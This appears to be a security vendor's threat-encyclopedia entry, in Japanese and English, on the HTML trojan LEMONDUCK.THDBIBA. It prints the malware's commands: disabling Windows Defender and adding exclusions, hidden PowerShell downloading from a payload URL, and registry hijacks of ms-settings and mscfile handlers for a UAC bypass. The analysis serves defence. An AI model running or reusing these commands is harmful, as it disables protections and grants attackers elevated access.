Trojan.HTML.LEMONDUCK.THDBIBA

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアが自身の不正活動を実行するためには、特定の引数/パラメータ/コンポーネントが必要になります。もしくは、特定の環境で実行される必要があります。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

その他

マルウェアは、以下を実行します。

• It contains a powershell code, and cannot be executed independently by itself, being an HTML file.
• It needs a payload URL parameter to properly execute.
• If the {Payload URL} starts with "http", it will try to download from the URL.
• If the current user group is "Administrator", it will execute the following:
  • cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden
  • Download from {Payload URL}
• If Windows version is "10", it does the following:
  • Create registry entries in:
    • HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
      DelegateExecute = ""
    • HKEY_CURRENT_USER:\Software\Classes\ms-settings\shell\open\command
      (default) = cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden {Payload URL}
  • Starts the process:
    • ComputerDefaults.exe
• If Windows version is not"10", it does the following:
  • Create registry entries in:
    • HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
      DelegateExecute = ""
    • HKEY_CURRENT_USER:\Software\Classes\mscfile\shell\open\command
      (default) = powershell -w hidden {Payload URL}
  • Starts the process:
    • CompMgmtLauncher.exe

(註：%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

マルウェアが自身の不正活動を実行するためには、特定の引数/パラメータ/コンポーネントが必要になります。もしくは、特定の環境で実行される必要があります。